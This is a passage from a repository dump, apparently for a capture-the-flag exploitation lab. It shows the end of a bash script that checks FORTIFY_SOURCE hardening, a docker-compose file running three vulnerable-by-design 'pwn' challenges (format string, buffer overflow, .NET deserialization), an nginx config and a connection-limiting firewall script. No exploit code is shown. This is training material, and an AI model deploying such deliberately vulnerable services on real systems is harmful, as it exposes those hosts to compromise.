FS_libc_check 819 | FS_binary_check 820 | FS_comparison 821 | FS_summary 822 | 823 | exit 0 824 | ;; 825 | 826 | --fortify-proc) 827 | if [ $have_readelf -eq 0 ] ; then 828 | exit 1 829 | fi 830 | if [ -z "$2" ] ; then 831 | printf "\033[31mError: Please provide a valid process ID.\033[m\n\n" 832 | exit 1 833 | fi 834 | if !(isNumeric "$2") ; then 835 | printf "\033[31mError: Please provide a valid process ID.\033[m\n\n" 836 | exit 1 837 | fi 838 | cd /proc 839 | N=$2 840 | if [ -d $N ] ; then 841 | # read permissions? 842 | if [ ! -r $N/exe ] ; then 843 | if !(root_privs) ; then 844 | printf "\033[31mNo read permissions for '/proc/$N/exe' (run as root).\033[m\n\n" 845 | exit 1 846 | fi 847 | if [ ! `readlink $N/exe` ] ; then 848 | printf "\033[31mPermission denied. Requested process ID belongs to a kernel thread.\033[m\n\n" 849 | exit 1 850 | fi 851 | exit 1 852 | fi 853 | if [ -e /lib/libc.so.6 ] ; then 854 | FS_libc=/lib/libc.so.6 855 | elif [ -e /lib64/libc.so.6 ] ; then 856 | FS_libc=/lib64/libc.so.6 857 | elif [ -e /lib/i386-linux-gnu/libc.so.6 ] ; then 858 | FS_libc=/lib/i386-linux-gnu/libc.so.6 859 | elif [ -e /lib/x86_64-linux-gnu/libc.so.6 ] ; then 860 | FS_libc=/lib/x86_64-linux-gnu/libc.so.6 861 | else 862 | printf "\033[31mError: libc not found.\033[m\n\n" 863 | exit 1 864 | fi 865 | printf "* Process name (PID) : %s (%d)\n" `head -1 $N/status | cut -b 7-` $N 866 | FS_chk_func_libc=( $(readelf -s $FS_libc | grep _chk@@ | awk '{ print $8 }' | cut -c 3- | sed -e 's/_chk@.*//') ) 867 | FS_functions=( $(readelf -s $2/exe | awk '{ print $8 }' | sed 's/_*//' | sed -e 's/@.*//') ) 868 | 869 | FS_libc_check 870 | FS_binary_check 871 | FS_comparison 872 | FS_summary 873 | fi 874 | exit 0 875 | ;; 876 | 877 | *) 878 | if [ "$#" != "0" ] ; then 879 | printf "\033[31mError: Unknown option '$1'.\033[m\n\n" 880 | fi 881 | help 882 | exit 1 883 | ;; 884 | esac 885 | -------------------------------------------------------------------------------- /docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2' 2 | services: 3 | ppc32-fmt-pwn: 4 | build: challenges/ppc32-simple-fmt 5 | volumes: 6 | - shared-data:/shared 7 | ports: 8 | - "9001:9000" 9 | environment: 10 | - CHALLENGE_NAME=pwn1-uhoh 11 | - PWNFLAG=FLAG_GOES_HERE 12 | restart: always 13 | x86-64-sandboxie: 14 | build: challenges/x86-64-sandbox-BO 15 | volumes: 16 | - shared-data:/shared 17 | ports: 18 | - "9002:9000" 19 | environment: 20 | - CHALLENGE_NAME=pwn2-box 21 | - PWNFLAG=FLAG_GOES_HERE 22 | restart: always 23 | dotnet-serial-pwn: 24 | build: challenges/dotnet-deserialization 25 | volumes: 26 | - shared-data:/shared 27 | ports: 28 | - "9003:9000" 29 | environment: 30 | - CHALLENGE_NAME=pwn3-net 31 | - PWNFLAG=FLAG_GOES_HERE 32 | restart: always 33 | nginx-static-server: 34 | build: nginx-static-server 35 | volumes: 36 | - shared-data:/usr/share/nginx/html 37 | ports: 38 | - "8000:80" 39 | restart: always 40 | 41 | volumes: 42 | shared-data: 43 | -------------------------------------------------------------------------------- /nginx-static-server/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM nginx:1.13.8 2 | RUN sed -i '/location \/ {/ a autoindex on;' /etc/nginx/conf.d/default.conf 3 | 4 | 5 | -------------------------------------------------------------------------------- /scripts/firewall.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | iptables -F 4 | iptables -I INPUT -p tcp --syn --match multiport --dports 9001,9002,9003 -m connlimit \ 5 | --connlimit-above 3 -j DROP 6 | 7 | 8 | -------------------------------------------------------------------------------- /tmp/EMPTY: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abhisek/pwnworks/d476c2d8b939f79278781c2b51f7f9b89d510781/tmp/EMPTY --------------------------------------------------------------------------------